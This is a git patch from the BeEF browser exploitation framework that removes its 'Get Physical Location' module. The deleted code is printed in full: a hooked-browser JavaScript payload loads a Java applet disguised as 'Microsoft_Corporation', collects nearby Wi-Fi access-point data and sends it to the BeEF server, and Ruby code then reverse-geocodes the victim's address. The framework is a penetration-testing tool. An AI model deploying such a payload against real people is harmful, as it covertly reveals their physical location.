From a62e502fce1ee9641a9daa090e6028d2ab9bd018 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 5 May 2019 12:18:41 +0000 Subject: [PATCH] Remote Get Physical Location module --- modules/host/get_physical_location/command.js | 21 -- .../host/get_physical_location/config.yaml | 17 -- .../getGPSLocation.class | Bin 3973 -> 0 bytes .../get_physical_location/getGPSLocation.jar | Bin 3812 -> 0 bytes .../get_physical_location/getGPSLocation.java | 184 ------------------ modules/host/get_physical_location/module.rb | 40 ---- 6 files changed, 262 deletions(-) delete mode 100755 modules/host/get_physical_location/command.js delete mode 100755 modules/host/get_physical_location/config.yaml delete mode 100755 modules/host/get_physical_location/getGPSLocation.class delete mode 100755 modules/host/get_physical_location/getGPSLocation.jar delete mode 100755 modules/host/get_physical_location/getGPSLocation.java delete mode 100755 modules/host/get_physical_location/module.rb diff --git a/modules/host/get_physical_location/command.js b/modules/host/get_physical_location/command.js deleted file mode 100755 index cfdf95a7c..000000000 --- a/modules/host/get_physical_location/command.js +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net - * Browser Exploitation Framework (BeEF) - http://beefproject.com - * See the file 'doc/COPYING' for copying permission - */ - -beef.execute(function() { - var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/getGPSLocation.jar'; - var applet_id = '<%= @applet_id %>'; - var applet_name = '<%= @applet_name %>'; - var output; - beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'getGPSLocation' , - null, applet_archive, null); - output = document.Microsoft_Corporation.getInfo(); - if (output) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output); - } - beef.dom.detachApplet('getGPSLocation'); -}); - - diff --git a/modules/host/get_physical_location/config.yaml b/modules/host/get_physical_location/config.yaml deleted file mode 100755 index 4e32b1b96..000000000 --- a/modules/host/get_physical_location/config.yaml +++ /dev/null @@ -1,17 +0,0 @@ -# -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -beef: - module: - get_physical_location: - enable: true - category: "Host" - name: "Get Physical Location" - description: "This module will retrieve geolocation information based on the neighboring wireless access points using commands encapsulated within a signed Java Applet.

The details will include:


If the victim machine has a firewall that monitors outgoing connections (Zonealaram, LittleSnitch, ..), calls to Google maps will be alerted." - authors: ["keith_lee @keith55 http://milo2012.wordpress.com", "antisnatchor"] - target: - working: ["IE"] - user_notify: ["C", "S", "O", "FF"] diff --git a/modules/host/get_physical_location/getGPSLocation.class b/modules/host/get_physical_location/getGPSLocation.class deleted file mode 100755 index 7a75951d90576283b2313336a12a9e4fad1a366b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3973 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 nY4= 0); - - } - - public static boolean isMac() { - - String os = System.getProperty("os.name").toLowerCase(); - // Mac - return (os.indexOf("mac") >= 0); - - } - - public static boolean isLinux() { - - String os = System.getProperty("os.name").toLowerCase(); - // linux or unix - return (os.indexOf("nix") >= 0 || os.indexOf("nux") >= 0); - - } - - } diff --git a/modules/host/get_physical_location/module.rb b/modules/host/get_physical_location/module.rb deleted file mode 100755 index ab53077b6..000000000 --- a/modules/host/get_physical_location/module.rb +++ /dev/null @@ -1,40 +0,0 @@ -# -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - http://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -require 'rubygems' -require 'json' -require 'open-uri' - -class Get_physical_location < BeEF::Core::Command - - def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar') - end - - def post_execute - results = @datastore['results'].to_s - results = results.gsub("location_info=","") - - response = open(results).read - result = JSON.parse(response) - reverseGoogleUrl = "https://maps.googleapis.com/maps/geo?q="+result['location']['lat'].to_s+','+result['location']['lng'].to_s+"&output=json&sensor=true_or_false" - googleResults = open(reverseGoogleUrl).read - jsonGoogleResults = JSON.parse(googleResults) - - addressFound = jsonGoogleResults['Placemark'][0]['address'] - - writeToResults = Hash.new - writeToResults['data'] = addressFound - BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'] , @friendlyname, writeToResults, 0) - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getGPSLocation.jar') - - content = {} - content['Result'] = addressFound - save content - end - -end -